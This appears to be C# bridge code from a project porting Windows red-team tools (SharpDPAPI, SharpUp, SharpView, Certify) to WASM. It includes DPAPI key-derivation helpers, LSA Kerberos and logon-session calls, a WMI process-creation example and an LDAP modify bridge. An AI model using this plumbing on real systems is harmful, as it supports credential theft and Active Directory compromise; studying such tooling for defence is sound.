byte* saltPtr, uint saltLen,
uint iterations, uint keyLen,
byte* outBufPtr, uint outBufLen);
/// <summary>Microsoft-CryptoAPI PBKDF2-HMAC-SHA512 variant (the "MS PBKDF2 bug" — feeds the
/// accumulated XOR result back into HMAC each iteration). Required for Windows DPAPI master
/// key derivation parity (Mimikatz / SharpDPAPI / impacket all replicate this bug).</summary>
[DllImport("*", EntryPoint = "WfMsPbkdf2Sha512")]
public static extern uint MsPbkdf2Sha512(
byte* passwordPtr, uint passwordLen,
byte* saltPtr, uint saltLen,
uint iterations,
byte* outBufPtr, uint outBufLen);
/// <summary>Microsoft-CryptoAPI PBKDF2-HMAC-SHA1 variant. See MsPbkdf2Sha512 for rationale.</summary>
[DllImport("*", EntryPoint = "WfMsPbkdf2Sha1")]
public static extern uint MsPbkdf2Sha1(
byte* passwordPtr, uint passwordLen,
byte* saltPtr, uint saltLen,
uint iterations,
byte* outBufPtr, uint outBufLen);
/// <summary>HMAC-SHA1(key, data).</summary>
[DllImport("*", EntryPoint = "WfHmacSha1")]
public static extern uint HmacSha1(
byte* keyPtr, uint keyLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>HMAC-SHA256(key, data).</summary>
[DllImport("*", EntryPoint = "WfHmacSha256")]
public static extern uint HmacSha256(
byte* keyPtr, uint keyLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>HMAC-SHA512(key, data). Used by SharpDPAPI credentials parser.</summary>
[DllImport("*", EntryPoint = "WfHmacSha512")]
public static extern uint HmacSha512(
byte* keyPtr, uint keyLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>Enumerate loaded modules across all accessible processes.
/// Wire format: "pid\tprocessName\tmodulePath\n" per module. Used by
/// SharpUp ProcessDLLHijack.</summary>
[DllImport("*", EntryPoint = "WfProcModulesAll")]
public static extern uint ProcModulesAll(byte* outBufPtr, uint outBufLen);
/// <summary>AES-CBC decrypt (no padding). 16/24/32-byte key, 16-byte IV.</summary>
[DllImport("*", EntryPoint = "WfAesCbcDecrypt")]
public static extern uint AesCbcDecrypt(
byte* keyPtr, uint keyLen,
byte* ivPtr, uint ivLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>SHA1(data) → 20 bytes.</summary>
[DllImport("*", EntryPoint = "WfSha1")]
public static extern uint Sha1(
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>SHA256(data) → 32 bytes.</summary>
[DllImport("*", EntryPoint = "WfSha256")]
public static extern uint Sha256(
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
// ── Network Operations ──────────────────────────────────────
/// <summary>
/// Send data over TCP and receive the response (Kerberos framing).
/// </summary>
[DllImport("*", EntryPoint = "WfTcpSendRecv")]
public static extern uint TcpSendRecv(
byte* hostPtr, uint hostLen,
uint port,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Execute an LDAP search query via wldap32.dll on the host.
/// Returns "attr\tvalue\n" per attribute, '\0' between entries.
/// </summary>
[DllImport("*", EntryPoint = "WfLdapSearchExt")]
public static extern uint LdapSearchExt(
byte* serverPtr, uint serverLen, uint port,
byte* baseDNPtr, uint baseDNLen,
byte* filterPtr, uint filterLen,
byte* attrsPtr, uint attrsLen,
byte* userPtr, uint userLen,
byte* domainPtr, uint domainLen,
byte* passwordPtr, uint passwordLen,
byte* outBufPtr, uint outBufLen);
[DllImport("*", EntryPoint = "WfLdapSearch")]
public static extern uint LdapSearch(
byte* serverPtr, uint serverLen,
uint port,
byte* baseDNPtr, uint baseDNLen,
byte* filterPtr, uint filterLen,
byte* attrsPtr, uint attrsLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Resolve domain controller IP/hostname via DsGetDcNameW.
/// </summary>
[DllImport("*", EntryPoint = "WfGetDCName")]
public static extern uint GetDCName(
byte* domainPtr, uint domainLen,
uint flags,
byte* outBufPtr, uint outBufLen);
// ── Managed helpers ─────────────────────────────────────────
/// <summary>
/// Call LsaKerberosOp with a managed operation string and return
/// the result as a managed string.
/// </summary>
public static string CallLsaKerberosOp(string operation, uint luidLow, uint luidHigh)
{
byte[] opBytes = Encoding.UTF8.GetBytes(operation);
byte[] outBuf = new byte[DefaultBufSize];
uint written;
fixed (byte* opPtr = opBytes)
fixed (byte* outPtr = outBuf)
{
written = LsaKerberosOp(opPtr, (uint)opBytes.Length,
luidLow, luidHigh, outPtr, (uint)outBuf.Length);
}
if (written == 0) return null;
return Encoding.UTF8.GetString(outBuf, 0, (int)written);
}
/// <summary>
/// Call WmiQuery with managed strings and return JSON result.
/// </summary>
public static string CallWmiQuery(string query, string ns = "root\\cimv2")
{
byte[] queryBytes = Encoding.UTF8.GetBytes(query);
byte[] nsBytes = Encoding.UTF8.GetBytes(ns);
byte[] outBuf = new byte[DefaultBufSize];
uint written;
fixed (byte* qPtr = queryBytes)
fixed (byte* nPtr = nsBytes)
fixed (byte* oPtr = outBuf)
{
written = WmiQuery(qPtr, (uint)queryBytes.Length,
nPtr, (uint)nsBytes.Length,
oPtr, (uint)outBuf.Length);
}
if (written == 0) return null;
return Encoding.UTF8.GetString(outBuf, 0, (int)written);
}
/// <summary>
/// Call WmiMethod with managed strings. The inputJson is a flat JSON
/// object whose keys map to WMI in-parameter names. Returns JSON of
/// output parameters, or null on failure.
///
/// Example: CallWmiMethod("Win32_Process", "Create",
/// "{\"CommandLine\":\"cmd.exe /c whoami > C:\\\\out.txt\"}")
/// → {"ReturnValue":0,"ProcessId":1234}
/// </summary>
public static string CallWmiMethod(string className, string methodName,
string inputJson = null, string ns = "root\\cimv2")
{
byte[] nsBytes = Encoding.UTF8.GetBytes(ns);
byte[] classBytes = Encoding.UTF8.GetBytes(className);
byte[] methodBytes = Encoding.UTF8.GetBytes(methodName);
byte[] inBytes = Encoding.UTF8.GetBytes(inputJson ?? "");
byte[] outBuf = new byte[DefaultBufSize];
uint written;
fixed (byte* nPtr = nsBytes)
fixed (byte* cPtr = classBytes)
fixed (byte* mPtr = methodBytes)
fixed (byte* iPtr = inBytes)
fixed (byte* oPtr = outBuf)
{
written = WmiMethod(
nPtr, (uint)nsBytes.Length,
cPtr, (uint)classBytes.Length,
mPtr, (uint)methodBytes.Length,
iPtr, (uint)inBytes.Length,
oPtr, (uint)outBuf.Length);
}
if (written == 0) return null;
return Encoding.UTF8.GetString(outBuf, 0, (int)written);
}
/// <summary>
/// Call EnumLogonSessions and return raw result string.
/// </summary>
public static string CallEnumLogonSessions()
{
byte[] outBuf = new byte[DefaultBufSize];
uint written;
fixed (byte* oPtr = outBuf)
{
written = EnumLogonSessions(oPtr, (uint)outBuf.Length);
}
if (written == 0) return null;
return Encoding.UTF8.GetString(outBuf, 0, (int)written);
}
}
}
// ── FileSecurity / GetAccessControl compat helpers ───────────────────────
// .NET 5+ removed the static File.GetAccessControl(string) method and made
// it an extension method on FileInfo via System.Security.AccessControl.
// FileSystemAclExtensions. To keep csharp_patcher's string-replacement
// simple, we wrap the new API in helpers that take the original signatures.
namespace WasmForge.Bridge
{
public static class FileSecurityCompat
{
// In .NET 5+ the static File/Directory.GetAccessControl are gone and
// GetAccessControl is provided as extension methods via
// System.Security.AccessControl.FileSystemAclExtensions. We call
// those statics explicitly here so callers don't need to import
// the namespace.
public static global::System.Security.AccessControl.FileSecurity GetFileAccessControl(string path) =>
global::System.IO.FileSystemAclExtensions.GetAccessControl(
new global::System.IO.FileInfo(path));
public static global::System.Security.AccessControl.FileSecurity GetFileAccessControl(
string path,
global::System.Security.AccessControl.AccessControlSections sections) =>
global::System.IO.FileSystemAclExtensions.GetAccessControl(
new global::System.IO.FileInfo(path), sections);
public static global::System.Security.AccessControl.DirectorySecurity GetDirectoryAccessControl(string path) =>
global::System.IO.FileSystemAclExtensions.GetAccessControl(
new global::System.IO.DirectoryInfo(path));
public static global::System.Security.AccessControl.DirectorySecurity GetDirectoryAccessControl(
string path,
global::System.Security.AccessControl.AccessControlSections sections) =>
global::System.IO.FileSystemAclExtensions.GetAccessControl(
new global::System.IO.DirectoryInfo(path), sections);
}
}
// ── System.Web.Script.Serialization compat stub ──────────────────────────
// NativeAOT-WASI doesn't ship System.Web.Extensions.dll. We provide a thin
// shim over System.Text.Json so that existing JavaScriptSerializer call-sites
// (Chromium bookmarks, Slack, JSON output sinks) compile and work unchanged.
//
// Reflection-based JsonSerializer.Deserialize<T> is disabled in NativeAOT-WASI
// trimmed builds. We hand-walk JsonDocument and build Dictionary<string,object>/
// ArrayList trees — the exact shape legacy JavaScriptSerializer produced.
namespace System.Web.Script.Serialization
{
public class JavaScriptSerializer
{
// Maximum input length (ignored — present for source compat)
public int MaxJsonLength { get; set; } = 2097152;
public T Deserialize<T>(string input)
{
using var doc = global::System.Text.Json.JsonDocument.Parse(input);
object result = ConvertElement(doc.RootElement);
return (T)result!;
}
public string Serialize(object obj) =>
global::System.Text.Json.JsonSerializer.Serialize(obj);
// Recursive converter: JsonElement → Dictionary<string,object>/ArrayList/
// string/double/bool/null. Matches legacy JavaScriptSerializer semantics.
private static object ConvertElement(global::System.Text.Json.JsonElement el)
{
switch (el.ValueKind)
{
case global::System.Text.Json.JsonValueKind.Object:
var dict = new global::System.Collections.Generic.Dictionary<string, object>();
foreach (var prop in el.EnumerateObject())
dict[prop.Name] = ConvertElement(prop.Value);
return dict;
case global::System.Text.Json.JsonValueKind.Array:
var arr = new global::System.Collections.ArrayList();
foreach (var item in el.EnumerateArray())
arr.Add(ConvertElement(item));
return arr;
case global::System.Text.Json.JsonValueKind.String:
return el.GetString() ?? "";
case global::System.Text.Json.JsonValueKind.Number:
if (el.TryGetInt64(out long lv)) return lv;
return el.GetDouble();
case global::System.Text.Json.JsonValueKind.True:
return true;
case global::System.Text.Json.JsonValueKind.False:
return false;
case global::System.Text.Json.JsonValueKind.Null:
case global::System.Text.Json.JsonValueKind.Undefined:
default:
return null!;
}
}
}
}
+685
View File
@@ -0,0 +1,685 @@
// WfLdap.cs — LDAP bridge: modify (net_ldapmodify) + full connection/search via wldap32.dll.
//
// Two layers:
// 1. WfLdapConnection — stateful handle to a wldap32 LDAP* session (connect, bind, search,
// unbind). The LDAP* is an opaque host pointer stored as ulong.
// 2. WfLdap (static) — the existing Modify() via net_ldapmodify Go bridge (KEEP) plus a
// LdapSearcher facade and convenience helpers used by SharpView and
// Certify as drop-in replacements for System.DirectoryServices.
//
// All wldap32 APIs are invoked via mod_load / mod_resolve / mod_invoke — the same
// canonical pattern used by WfNetapi.cs. LDAP* and BerElement* are opaque host pointers
// that never enter WASM linear memory; they are passed as ulong scalars between calls.
//
// berval layout (x64, 16 bytes):
// offset 0..3 ULONG bv_len (4 bytes)
// offset 4..7 pad (4 bytes)
// offset 8..15 char* bv_val (8-byte host pointer)
//
// ldap_get_values_lenW returns a host pointer to an array of berval* pointers (8 bytes each).
// Count via ldap_count_values_len, then for i in 0..count-1 read 8 bytes at
// (arrayPtr + i*8) to get the berval* host address, then read bv_len at offset 0
// and bv_val ptr at offset 8.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
// ─────────────────────────────────────────────────────────────────────────────
// WfLdapEntry — a single LDAP result entry with binary-safe attribute storage.
// ─────────────────────────────────────────────────────────────────────────────
public class WfLdapEntry
{
public string DistinguishedName = "";
// Binary-safe: every value is a raw byte[]. Use GetString / GetStrings for UTF-8 text.
public Dictionary<string, List<byte[]>> Attributes = new Dictionary<string, List<byte[]>>(StringComparer.OrdinalIgnoreCase);
public string GetString(string attrName)
{
if (string.Equals(attrName, "distinguishedName", StringComparison.OrdinalIgnoreCase) ||
string.Equals(attrName, "dn", StringComparison.OrdinalIgnoreCase))
return DistinguishedName;
if (!Attributes.TryGetValue(attrName, out var vals) || vals.Count == 0) return null;
if (vals[0] == null || vals[0].Length == 0) return "";
return Encoding.UTF8.GetString(vals[0]);
}
public List<string> GetStrings(string attrName)
{
if (!Attributes.TryGetValue(attrName, out var vals)) return new List<string>();
var result = new List<string>(vals.Count);
foreach (var b in vals)
result.Add(b == null ? "" : Encoding.UTF8.GetString(b));
return result;
}
// Raw bytes accessor (for binary attributes like ntsecuritydescriptor, cACertificate…)
public byte[] GetBytes(string attrName)
{
if (!Attributes.TryGetValue(attrName, out var vals) || vals.Count == 0) return null;
return vals[0];
}
public List<byte[]> GetBytesList(string attrName)
{
if (!Attributes.TryGetValue(attrName, out var vals)) return new List<byte[]>();
return vals;
}
}
// ─────────────────────────────────────────────────────────────────────────────
// WfLdapConnection — stateful wldap32 LDAP session (IDisposable).
// ─────────────────────────────────────────────────────────────────────────────
public unsafe class WfLdapConnection : IDisposable
{
internal ulong _hldap; // host LDAP* — opaque, never mirrored
// ── mod_load / mod_resolve / mod_invoke DllImports ──────────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Per-DLL / per-proc handle cache ─────────────────────────────────────
private static uint _wldap32;
private static uint _ntdll;
private static uint _hRtlMoveMemory;
private static uint _hLdapInitW;
private static uint _hLdapSetOption;
private static uint _hLdapBindSW;
private static uint _hLdapSearchExtSW;
private static uint _hLdapFirstEntry;
private static uint _hLdapNextEntry;
private static uint _hLdapGetDnW;
private static uint _hLdapFirstAttributeW;
private static uint _hLdapNextAttributeW;
private static uint _hLdapGetValuesLenW;
private static uint _hLdapCountValuesLen;
private static uint _hLdapValueFreeLen;
private static uint _hLdapBerFree;
private static uint _hLdapMemfreeW;
private static uint _hLdapMsgfree;
private static uint _hLdapUnbind;
private static uint _hLdapGetLastError;
// ── Resolve helper ───────────────────────────────────────────────────────
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
// ── Low-level invoke: returns r0 (lower 64 bits of result) ──────────────
private static ulong Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0,
ulong a8 = 0, ulong a9 = 0, ulong a10 = 0)
{
ulong ret1 = 0, err = 0;
return mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
}
// ── Copy len bytes from host address → managed byte array ────────────────
private static bool CopyHostToWasm(ulong hostAddr, byte* wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == null || len == 0) return false;
uint pCopy = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
Invoke(pCopy, 3, (ulong)(uint)(IntPtr)wasmPtr, hostAddr, (ulong)len);
return true;
}
// ── Read 8 bytes from host into ulong ────────────────────────────────────
private static ulong ReadHostU64(ulong hostAddr)
{
if (hostAddr == 0) return 0;
byte[] buf = new byte[8];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, bp, 8)) return 0;
}
return ((ulong)buf[0])
| ((ulong)buf[1] << 8)
| ((ulong)buf[2] << 16)
| ((ulong)buf[3] << 24)
| ((ulong)buf[4] << 32)
| ((ulong)buf[5] << 40)
| ((ulong)buf[6] << 48)
| ((ulong)buf[7] << 56);
}
// ── Read 4 bytes from host into uint ─────────────────────────────────────
private static uint ReadHostU32(ulong hostAddr)
{
if (hostAddr == 0) return 0;
byte[] buf = new byte[4];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, bp, 4)) return 0;
}
return (uint)(buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24));
}
// ── Read a UTF-16 string from a host pointer (scans for double-NUL) ──────
private static string ReadHostWString(ulong hostAddr, int maxChars = 1024)
{
if (hostAddr == 0 || maxChars <= 0) return "";
byte[] buf = new byte[maxChars * 2];
fixed (byte* bp = buf)
{
// Read up to maxChars*2 bytes; if RtlMoveMemory fails return ""
if (!CopyHostToWasm(hostAddr, bp, (uint)buf.Length)) return "";
}
int charLen = 0;
for (int i = 0; i < maxChars; i++)
{
if (buf[2 * i] == 0 && buf[2 * i + 1] == 0) break;
charLen++;
}
if (charLen == 0) return "";
char[] chars = new char[charLen];
for (int i = 0; i < charLen; i++)
chars[i] = (char)(buf[2 * i] | (buf[2 * i + 1] << 8));
return new string(chars);
}
// ── Alloc + write a UTF-16 string (with NUL terminator) on WASM heap ─────
// Returns an IntPtr to the managed buffer. The caller pins it with fixed().
private static byte[] MakeUtf16(string s)
{
if (s == null) return new byte[2]; // double-NUL
var bytes = new byte[(s.Length + 1) * 2];
for (int i = 0; i < s.Length; i++)
{
char c = s[i];
bytes[2 * i] = (byte)(c & 0xff);
bytes[2 * i + 1] = (byte)((c >> 8) & 0xff);
}
return bytes;
}
// ── Constructor: ldap_initW → sets LDAP version 3 ────────────────────────
// LDAP_OPT_PROTOCOL_VERSION = 0x11; value 3 passed as a pointer to int.
public WfLdapConnection(string server, int port = 389)
{
uint pInit = Resolve("wldap32.dll", ref _wldap32, "ldap_initW", ref _hLdapInitW);
if (pInit == 0) return;
byte[] serverW = MakeUtf16(server);
fixed (byte* sp = serverW)
{
// ldap_initW(LPWSTR hostName, ULONG portNumber) → LDAP*
ulong hldap = Invoke(pInit, 2, (ulong)(uint)(IntPtr)sp, (ulong)(uint)port);
_hldap = hldap;
}
if (_hldap != 0)
{
// ldap_set_option(LDAP*, LDAP_OPT_PROTOCOL_VERSION=0x11, &version)
uint pSetOpt = Resolve("wldap32.dll", ref _wldap32, "ldap_set_option", ref _hLdapSetOption);
if (pSetOpt != 0)
{
int version = 3;
Invoke(pSetOpt, 3, _hldap, 0x11u, (ulong)(uint)(IntPtr)(&version));
}
}
}
// ── Bind with SSPI (LDAP_AUTH_NEGOTIATE = 0x486) using current token ─────
public bool Bind()
{
if (_hldap == 0) return false;
uint pBind = Resolve("wldap32.dll", ref _wldap32, "ldap_bind_sW", ref _hLdapBindSW);
if (pBind == 0) return false;
// ldap_bind_sW(LDAP*, NULL dn, NULL cred, LDAP_AUTH_NEGOTIATE)
ulong rc = Invoke(pBind, 4, _hldap, 0u, 0u, 0x486u);
return rc == 0;
}
// ── Bind with explicit credentials ────────────────────────────────────────
public bool Bind(string user, string password)
{
if (_hldap == 0) return false;
uint pBind = Resolve("wldap32.dll", ref _wldap32, "ldap_bind_sW", ref _hLdapBindSW);
if (pBind == 0) return false;
byte[] userW = MakeUtf16(user);
byte[] passW = MakeUtf16(password);
fixed (byte* up = userW)
fixed (byte* pp = passW)
{
// LDAP_AUTH_SIMPLE = 0x80
ulong rc = Invoke(pBind, 4, _hldap,
(ulong)(uint)(IntPtr)up,
(ulong)(uint)(IntPtr)pp,
0x80u);
return rc == 0;
}
}
// ── Search ────────────────────────────────────────────────────────────────
// scope: 0=Base, 1=OneLevel, 2=Subtree (default)
public List<WfLdapEntry> Search(string baseDN, string filter, string[] attrs = null, int scope = 2)
{
var results = new List<WfLdapEntry>();
if (_hldap == 0) return results;
uint pSearch = Resolve("wldap32.dll", ref _wldap32, "ldap_search_ext_sW", ref _hLdapSearchExtSW);
uint pFirstEntry = Resolve("wldap32.dll", ref _wldap32, "ldap_first_entry", ref _hLdapFirstEntry);
uint pNextEntry = Resolve("wldap32.dll", ref _wldap32, "ldap_next_entry", ref _hLdapNextEntry);
uint pGetDn = Resolve("wldap32.dll", ref _wldap32, "ldap_get_dnW", ref _hLdapGetDnW);
uint pFirstAttr = Resolve("wldap32.dll", ref _wldap32, "ldap_first_attributeW", ref _hLdapFirstAttributeW);
uint pNextAttr = Resolve("wldap32.dll", ref _wldap32, "ldap_next_attributeW", ref _hLdapNextAttributeW);
uint pGetVals = Resolve("wldap32.dll", ref _wldap32, "ldap_get_values_lenW", ref _hLdapGetValuesLenW);
uint pCountVals = Resolve("wldap32.dll", ref _wldap32, "ldap_count_values_len", ref _hLdapCountValuesLen);
uint pFreeVals = Resolve("wldap32.dll", ref _wldap32, "ldap_value_free_len", ref _hLdapValueFreeLen);
uint pBerFree = Resolve("wldap32.dll", ref _wldap32, "ldap_ber_free", ref _hLdapBerFree);
uint pMemFree = Resolve("wldap32.dll", ref _wldap32, "ldap_memfreeW", ref _hLdapMemfreeW);
uint pMsgFree = Resolve("wldap32.dll", ref _wldap32, "ldap_msgfree", ref _hLdapMsgfree);
if (pSearch == 0 || pFirstEntry == 0 || pNextEntry == 0) return results;
// Build UTF-16 args
byte[] baseDNW = MakeUtf16(baseDN ?? "");
byte[] filterW = MakeUtf16(filter ?? "(objectClass=*)");
// Build attrs array: NULL-terminated array of LPWSTR pointers on WASM heap.
// We need a contiguous block: [ptr0][ptr1]...[ptrN][null], each ptr is 4 bytes (wasm32).
// We allocate space for the pointer array followed by the string data.
byte[][] attrStrings = null;
byte[] attrPtrBlock = null;
if (attrs != null && attrs.Length > 0)
{
attrStrings = new byte[attrs.Length][];
for (int i = 0; i < attrs.Length; i++)
attrStrings[i] = MakeUtf16(attrs[i]);
// Build a null-terminated array of 4-byte WASM pointers.
// Since wf_call/mod_invoke translates WASM ptrs to host ptrs for us,
// we need to embed the WASM addresses. We use a trick: allocate one
// contiguous buffer and store the pointer array at the start, followed
// by the string data. Then patch the pointer entries with actual WASM
// addresses computed relative to where we pin.
int ptrCount = attrs.Length + 1; // +1 for NULL terminator
int totalDataBytes = 0;
foreach (var s in attrStrings) totalDataBytes += s.Length;
attrPtrBlock = new byte[ptrCount * 4 + totalDataBytes];
// We'll fill the pointer entries once we know the pinned base address.
// Store the raw string data after the pointer array.
int dataOffset = ptrCount * 4;
int[] dataOffsets = new int[attrs.Length];
for (int i = 0; i < attrStrings.Length; i++)
{
dataOffsets[i] = dataOffset;
Buffer.BlockCopy(attrStrings[i], 0, attrPtrBlock, dataOffset, attrStrings[i].Length);
dataOffset += attrStrings[i].Length;
}
// We'll patch the pointer array in the fixed block below
fixed (byte* blockBase = attrPtrBlock)
{
// WASM address of the block = (uint)(IntPtr)blockBase
uint wasmBase = (uint)(IntPtr)blockBase;
for (int i = 0; i < attrs.Length; i++)
{
uint strWasmAddr = wasmBase + (uint)dataOffsets[i];
// Store as little-endian 4-byte WASM pointer
blockBase[i * 4 + 0] = (byte)(strWasmAddr & 0xff);
blockBase[i * 4 + 1] = (byte)((strWasmAddr >> 8) & 0xff);
blockBase[i * 4 + 2] = (byte)((strWasmAddr >> 16) & 0xff);
blockBase[i * 4 + 3] = (byte)((strWasmAddr >> 24) & 0xff);
}
// NULL terminator entry is already zero
}
}
// LDAPMessage* res — a host pointer output, stored in a ulong
ulong msgResPtr = 0;
ulong rc;
fixed (byte* bdp = baseDNW)
fixed (byte* fp = filterW)
fixed (byte* ap = attrPtrBlock != null ? attrPtrBlock : null)
{
// ldap_search_ext_sW(LDAP*, base, scope, filter, attrs[], attrsonly,
// serverCtls, clientCtls, timeout, sizelimit, &res)
// serverCtls=NULL, clientCtls=NULL, timeout=NULL, sizelimit=0
// &res is a WASM address holding the output LDAPMessage* host pointer
rc = Invoke(pSearch, 11,
_hldap,
(ulong)(uint)(IntPtr)bdp, // base DN
(ulong)(uint)scope, // scope
(ulong)(uint)(IntPtr)fp, // filter
ap != null ? (ulong)(uint)(IntPtr)ap : 0u, // attrs[] or NULL
0u, // attrsonly=0
0u, // serverCtls=NULL
0u, // clientCtls=NULL
0u, // timeout=NULL
0u, // sizelimit=0
(ulong)(uint)(IntPtr)(&msgResPtr)); // &res
}
if (rc != 0 || msgResPtr == 0) return results;
// Walk entries
ulong entry = Invoke(pFirstEntry, 2, _hldap, msgResPtr);
while (entry != 0)
{
var ldapEntry = new WfLdapEntry();
// Get DN
if (pGetDn != 0)
{
ulong dnPtr = Invoke(pGetDn, 2, _hldap, entry);
if (dnPtr != 0)
{
ldapEntry.DistinguishedName = ReadHostWString(dnPtr, 512);
if (pMemFree != 0) Invoke(pMemFree, 1, dnPtr);
}
}
// Walk attributes
if (pFirstAttr != 0)
{
ulong berElem = 0; // BerElement** output — will hold the host BerElement*
ulong attrNamePtr = Invoke(pFirstAttr, 3, _hldap, entry,
(ulong)(uint)(IntPtr)(&berElem));
while (attrNamePtr != 0)
{
string attrName = ReadHostWString(attrNamePtr, 256);
// Get values (binary-safe)
if (!string.IsNullOrEmpty(attrName) && pGetVals != 0 && pCountVals != 0)
{
ulong valsArray = Invoke(pGetVals, 3, _hldap, entry,
attrNamePtr);
if (valsArray != 0)
{
uint valCount = (uint)Invoke(pCountVals, 1, valsArray);
if (valCount > 0 && valCount < 10000)
{
var valList = new List<byte[]>((int)valCount);
for (uint vi = 0; vi < valCount; vi++)
{
// valsArray is a host ptr to array of berval* (8 bytes each).
// berval*[vi] is at valsArray + vi*8
ulong bervalPtr = ReadHostU64(valsArray + vi * 8);
if (bervalPtr != 0)
{
// berval layout: bv_len(4) + pad(4) + bv_val*(8)
uint bvLen = ReadHostU32(bervalPtr);
ulong bvVal = ReadHostU64(bervalPtr + 8);
if (bvLen > 0 && bvLen < 1024 * 1024 && bvVal != 0)
{
byte[] valBytes = new byte[bvLen];
fixed (byte* vbp = valBytes)
{
CopyHostToWasm(bvVal, vbp, bvLen);
}
valList.Add(valBytes);
}
else
{
valList.Add(new byte[0]);
}
}
}
if (!ldapEntry.Attributes.ContainsKey(attrName))
ldapEntry.Attributes[attrName] = valList;
else
ldapEntry.Attributes[attrName].AddRange(valList);
}
if (pFreeVals != 0) Invoke(pFreeVals, 1, valsArray);
}
}
// Free attribute name string before getting next
if (pMemFree != 0 && attrNamePtr != 0) Invoke(pMemFree, 1, attrNamePtr);
// Next attribute
attrNamePtr = pNextAttr != 0
? Invoke(pNextAttr, 3, _hldap, entry, berElem)
: 0;
}
// Free BerElement
if (pBerFree != 0 && berElem != 0)
Invoke(pBerFree, 2, berElem, 0u);
}
results.Add(ldapEntry);
entry = Invoke(pNextEntry, 2, _hldap, entry);
}
// Free the message
if (pMsgFree != 0 && msgResPtr != 0) Invoke(pMsgFree, 1, msgResPtr);
return results;
}
// ── IDisposable ───────────────────────────────────────────────────────────
public void Dispose()
{
if (_hldap != 0)
{
uint pUnbind = Resolve("wldap32.dll", ref _wldap32, "ldap_unbind", ref _hLdapUnbind);
if (pUnbind != 0) Invoke(pUnbind, 1, _hldap);
_hldap = 0;
}
}
}
// ─────────────────────────────────────────────────────────────────────────────
// WfLdap — static facade: Modify (original Go bridge), domain helpers,
// convenience Query, and LdapSearcher drop-in for SharpView/Certify.
// ─────────────────────────────────────────────────────────────────────────────
public static unsafe class WfLdap
{
public const uint LDAP_MOD_ADD = 0;
public const uint LDAP_MOD_DELETE = 1;
public const uint LDAP_MOD_REPLACE = 2;
// ── KEEP: existing Modify via net_ldapmodify Go bridge ───────────────────
[DllImport("env", EntryPoint = "net_ldapmodify")]
private static extern uint NetLdapModify(
byte* serverPtr, uint serverLen, uint port,
byte* dnPtr, uint dnLen,
byte* attrPtr, uint attrLen,
byte* valPtr, uint valLen,
uint opCode,
byte* userPtr, uint userLen,
byte* domainPtr, uint domainLen,
byte* passwordPtr, uint passwordLen);
public static uint Modify(string server, uint port, string dn,
string attr, string value, uint opCode,
string user = null, string domain = null, string password = null)
{
if (string.IsNullOrEmpty(server)) return 0x57;
if (string.IsNullOrEmpty(dn)) return 0x57;
if (string.IsNullOrEmpty(attr)) return 0x57;
if (port == 0) port = 389;
byte[] serverB = Encoding.UTF8.GetBytes(server);
byte[] dnB = Encoding.UTF8.GetBytes(dn);
byte[] attrB = Encoding.UTF8.GetBytes(attr);
byte[] valB = value != null ? Encoding.UTF8.GetBytes(value) : new byte[0];
byte[] userB = !string.IsNullOrEmpty(user) ? Encoding.UTF8.GetBytes(user) : new byte[0];
byte[] domB = !string.IsNullOrEmpty(domain) ? Encoding.UTF8.GetBytes(domain) : new byte[0];
byte[] pwB = !string.IsNullOrEmpty(password) ? Encoding.UTF8.GetBytes(password) : new byte[0];
fixed (byte* pServer = serverB)
fixed (byte* pDn = dnB)
fixed (byte* pAttr = attrB)
fixed (byte* pVal = valB.Length > 0 ? valB : null)
fixed (byte* pUser = userB.Length > 0 ? userB : null)
fixed (byte* pDom = domB.Length > 0 ? domB : null)
fixed (byte* pPw = pwB.Length > 0 ? pwB : null)
{
return NetLdapModify(
pServer, (uint)serverB.Length, port,
pDn, (uint)dnB.Length,
pAttr, (uint)attrB.Length,
pVal, (uint)valB.Length,
opCode,
pUser, (uint)userB.Length,
pDom, (uint)domB.Length,
pPw, (uint)pwB.Length);
}
}
// ── Domain discovery ─────────────────────────────────────────────────────
// Returns the current domain FQDN (e.g. "sevenkingdoms.local") or null.
public static string GetCurrentDomain()
{
// Try Environment.UserDomainName first — works on NativeAOT-WASI
// because it reads an env var from the host process environment.
string d = Environment.UserDomainName;
if (!string.IsNullOrEmpty(d) && d.Contains('.'))
return d;
